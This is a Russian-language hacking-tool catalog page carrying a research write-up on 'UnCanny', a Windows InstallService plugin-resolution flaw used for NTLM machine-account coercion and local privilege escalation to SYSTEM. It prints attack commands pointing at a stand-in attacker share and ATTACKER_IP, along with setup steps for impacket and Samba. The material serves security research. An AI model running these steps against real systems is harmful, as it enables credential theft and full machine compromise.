Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
UnCanny — Еще один новый примитив принуждения с LPE - принуждение NTLM учетной записи машины от пользователя без прав администратора через эксперименты по разрешению плагина InstallService Windows Store | Kitploit
Инструменты/GitHubGitHub/0xhossam/uncanny
Повышение привилегийЭксплуатацияЛатеральное перемещениеСтатьи и ИсследованияОбучение и ОбразованиеRed TeamingРазработка Полезной Нагрузки
GitHub0xhossam/uncanny

UnCanny

Еще один новый примитив принуждения с LPE - принуждение NTLM учетной записи машины от пользователя без прав администратора через эксперименты по разрешению плагина InstallService Windows Store

Репозиторий
87122 месяцев назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

UNCanny Coerce

Идея этого исследования была простой: я хотел найти свою собственную технику принуждения. Я начал с поиска новых поверхностей атак RPC, но после того, как Microsoft добавила мониторинг активности RPC (https://techcommunity.microsoft.com/blog/microsoftdefenderatpblog/microsoft-defender-now-monitors-rpc-activity/4523368), я решил пойти другим путем.

UNCanny — это результат этой кроличьей норы. Это не то, что я бы счел надежным для реальных операций red team из-за его ограничений, но я все же считаю, что заметки стоит опубликовать для тех, кто копается в той же области.


кратко этот примитив таков:

обычный пользователь передает службе установки магазина Windows некоторые метаданные установки -> служба, работающая как локальная система, разрешает "плагин" для этой работы -> преобразователь в конечном итоге выполняет LoadLibraryW по пути, на который повлиял пользователь -> этот путь является UNC -> исходящий NTLM от учетной записи машины.

компонент — это мир службы установки магазина windows: InstallService.dll размещенный в InstallService.exe, работающий как NT AUTHORITY\SYSTEM.

поиск странной поверхности

Кроличья нора началась с InstallService.dll. Я искал компоненты windows, которые устанавливают пакеты, восстанавливают состояние после перезагрузки, возобновляют неудачные задания, читают локальное/удаленное содержимое и загружают плагины. все, что объединяет эти четыре вещи, обычно имеет путаницу границ где-то:

  • у него есть публичная сторона вызывающего, потому что обычное пользовательское пространство должно запрашивать установки
  • у него есть привилегированная сторона рабочего, потому что управление установкой/состоянием пакетов требует прав службы
  • у него есть сериализация, потому что работа должна пережить перезагрузку
  • у него есть загрузка плагинов, потому что windows любит делать простые вещи модульными и страшными

Интересный класс времени выполнения был:

root@kitploit:~
Windows.Internal.InstallService.Control.InstallServiceControl
IID:    e4893a99-9270-42b9-9a62-683d6ceed250
method: vtable slot 8  ->  CreateInstallServiceWork(cv, caller, _, _, propertiesJson, optionsJson, out items)

alt text

Вот где живет веселье — в параметре propertiesJson. поведение установки описывается полями json, такими как FulfillmentPluginId, SourceUri, PackageFamilyName, SerializedFulfillmentData, SkipCatalogLookup, ProductId, SkuId.

Сначала я думал, что ошибка будет заключаться в том, чтобы "поместить UNC в SourceUri и позволить службе прочитать его". это было бы прекрасно, но windows не была так щедра. я реверсировал встроенный путь выполнения (CreateInstallServiceWorkFromBridge, InstallService.dll) и встроенные плагины просто не делают этого:

  • WU разбирает json и выходит через WinHTTP / Delivery Optimization. никогда SMB.
  • ChainedWork и XVC — та же история или их вообще нет на клиенте.
  • сырой SourceUri либо быстро отклоняется, либо направляется в проверку каталога. CreateCatalogItemFromLocalData, несмотря на название, создает элемент каталога из сериализованного json в памяти, он не открывает файл.

Так что наивная идея — тупик, эта функция очень интересна, и я тоже занимаюсь другими исследовательскими примитивами на ней, и это стоит сказать вслух, чтобы никто не тратил на это неделю :)

SYSTEM касается пути

единственное место во всем потоке создания/восстановления, где служба касается пути, на который повлиял атакующий, — это активация плагина. функция — PluginHelpers::ActivatePlugin. она разрешает FulfillmentPluginId в следующем порядке:

  1. "WU" -> встроенный
  2. "ChainedWork" -> встроенный
  3. значение, найденное в StaticPluginMap (HKLM) -> CoCreateInstance CLSID, или активировать класс WinRT
  4. "XVC" -> фабрика xbox
  5. все остальное -> рассматривать как имя семейства пакета. FindPackagesForUser(pfn) -> взять InstalledLocation.Path этого пакета -> LoadLibraryW( path + "\InstallServicePlugin.dll" ) -> GetProcAddress("ActivatePlugin")

ветвь 5 — та самая, и PluginHelpers::IsPluginAvailable подтверждает ворота: он возвращает true для любого FulfillmentPluginId, который соответствует установленному пакету, через тот же самый поиск FindPackagesForUser.

alt text

итак, если FulfillmentPluginId указывает на пакет, чей InstalledLocation является UNC, то InstallService.exe, работающий как SYSTEM, делает:

root@kitploit:~
LoadLibraryW( \\attacker\share\InstallServicePlugin.dll )

LoadLibraryW должен подключиться к \\attacker\share и аутентифицироваться, прежде чем узнает, что dll там нет, и эта аутентификация и есть принуждение, а dll никогда не должна существовать.

alt text

фактический примитив

единственный оставшийся вопрос: "как обычный пользователь получает пакет, чей InstalledLocation является UNC". ответ — свободная регистрация файлов (loose-file registration), которая является операцией для каждого пользователя, не требующей повышения прав:

root@kitploit:~
Add-AppxPackage -Register \\attacker\share\AppxManifest.xml

windows регистрирует пакет "на месте", поэтому зарегистрированный InstalledLocation буквально является UNC, на который вы указали. затем вы запускаете работу с именем семейства этого пакета в качестве идентификатора плагина.

  1. Add-AppxPackage -Register \\attacker\share\AppxManifest.xml
  2. CreateInstallServiceWork( FulfillmentPluginId = <имя семейства этого пакета> )

вызывающий — обычный пользователь, сетевая аутентификация — учетная запись машины.

alt text

малопривилегированный пользователь запустил это, учетная запись машины аутентифицировалась. собственный загрузчик windows выполнил обращение к UNC, а не вызывающий.

принуждение через smb

сторона атакующего

две вещи, которые нужно уладить перед запуском:

  • impacket-smbserver сообщает тип файловой системы XTFS. AppX отказывается регистрироваться на общих ресурсах не-NTFS (0x80073CFD). исправьте поле FileSystemName в impacket/smbserver.py на NTFS.

  • общая папка должна содержать AppxManifest.xml, logo.png, dummy.exe. InstallServicePlugin.dll не требуется. MaxVersionTested в манифесте должен быть ≤ целевой сборки (проверьте с помощью winver на целевой системе).

Вы можете запустить poc/setup.sh из корня репозитория на Kali. он заполняет общую папку, исправляет impacket, размещает poc.ps1 на целевой системе через smbclient, если установлены TARGET_IP и TARGET_CREDS, и запускает сервер ;-)

Затем на вашей рабочей станции windows от имени малопривилегированного пользователя в интерактивном сеансе:

root@kitploit:~
powershell -ExecutionPolicy Bypass -File poc.ps1 -AttackerHost ATTACKER_IP -Share coerce

LPE

Есть вторая сторона той же ошибки, которая более прямолинейна, чем принуждение. если InstallServicePlugin.dll действительно существует на UNC-пути пакета, служба все равно достигает той же ветви LoadLibraryW(\\attacker\share\InstallServicePlugin.dll), но на этот раз загрузчику удается, и dll отображается внутри процесса службы установки магазина как NT AUTHORITY\SYSTEM.

Так что я загорелся идеей доказать эту проблему и написал PoC в lpe/. Важно не очередной трюк с регистрацией пакета, а то, что тот же зарегистрированный свободный пакет повторно используется как пакет плагина. Тестовая обвязка запрашивает имя семейства пакета малопривилегированного пользователя с помощью Get-AppxPackage, передает этот PFN как FulfillmentPluginId, устанавливает SkipCatalogLookup=true и включает SerializedFulfillmentData. Это последнее поле важно, потому что InstallQueue2::CreateWork отклоняет запрос с 0x80070057, если пропуск поиска каталога выполняется без данных выполнения.

Очень важно отметить кое-что, на устранение неполадок чего ушло много времени: impacket не может обслуживать загружаемый образ. он достаточно хорошо отвечает на чтение, чтобы учетная запись машины аутентифицировалась, так что путь принуждения полностью работоспособен, но LoadLibraryW против общей папки impacket возвращает null с ERROR_INVALID_HANDLE, и DllMain никогда не выполняется. Обслуживайте те же самые файлы с помощью настоящего SMB-сервера (Samba), и загрузка удается. Samba по умолчанию сообщает NTFS, так что свободная регистрация все равно проходит. так что правило простое: impacket, когда вам нужен только хэш, Samba, когда вы хотите, чтобы dll действительно выполнялась как SYSTEM!

при реальном запуске, инициированном малопривилегированным пользователем, uncanny_lpe.txt показывает dll, отображенную в svchost.exe, и токен, разрешающийся в NT AUTHORITY\SYSTEM / S-1-5-18, что видно на скриншоте ниже.

доказательство LPE как coercelow

CreateInstallServiceWork все еще возвращает 0x800706BE с этой демонстрационной dll, потому что DllMain уже выполнился к тому времени, когда служба запрашивает настоящий интерфейс плагина и сдается :-)

ветвь activateplugin loadlibrary

ограничения

Ограничение на самом деле является причиной, по которой я решил опубликовать эту технику - должен быть включен режим разработчика. все зависит от того, что InstalledLocation.Path является UNC-путем, и после долгого копания я нашел только один способ сделать это. обычная подписанная установка копирует пакет в C:\Program Files\WindowsApps\..., устанавливает InstalledLocation туда, и это всегда локальный путь.

единственный путь регистрации, который я нашел, сохраняющий файлы там, где они уже находятся, включая общий ресурс UNC, — это свободная регистрация файлов (Add-AppxPackage -Register <manifest>). именно это и разблокирует режим разработчика (AllowDevelopmentWithoutDevLicense в HKLM\...\AppModelUnlock). и причина, по которой он ограничен, имеет смысл. свободная регистрация по сути создает доверенную идентификацию пакета из произвольных неподписанных файлов, находящихся в контролируемом вами месте, что полностью обходит обычную модель доверия магазина и подписи. из-за этого режим разработчика должен быть включен, и это в настоящее время самое большое ограничение техники.

Интересная часть заключается в том, что сторона InstallService на самом деле не заботится, и как только такой пакет существует, ветвь 5 ActivatePlugin с радостью вызовет LoadLibraryW для любого InstalledLocation.Path, который она получит. вся проблема в том, чтобы изначально получить пакет, чей путь установки указывает на UNC-путь, без необходимости режима разработчика.

Итак, я начал реверсировать ограждения в поисках другого пути.

Проверка режима разработчика вообще не находится внутри InstallService. она находится внутри стека развертывания AppX (AppXDeploymentServer.dll и политики лицензирования развертывания) и в конечном итоге читает HKLM\...\AppModelUnlock, который контролируется администратором. обычный пользователь ничего не может там переключить.

Я также исследовал то, что казалось очевидным обходным путем, например, боковую загрузку (sideloading)

Я протестировал это с включенной боковой загрузкой и отключенным режимом разработчика (IsSideloadingEnabled=1, IsDeveloperModeEnabled=0). свободная регистрация немедленно завершилась неудачей, сообщив, что источник пакета был Unsigned и что не удалось применить действительную лицензию или политику боковой загрузки.

есть еще несколько путей, которые я еще полностью не исключил, вы можете покопать, если хотите:

  • StaticPluginMap в сочетании с угоном порядка поиска COM
  • -ExternalLocation и внешнее содержимое пакета
  • символические ссылки или точки соединения
  • угон COM для каждого пользователя через HKCU\...\CLSID

обнаружения?

Elastic, вероятно, покроет это в течение дня.


  • я не несу ответственности за то, как используется эта информация. это исследование опубликовано в образовательных целях, и также может помочь улучшить понимание поверхности атаки.
Скачать инструмент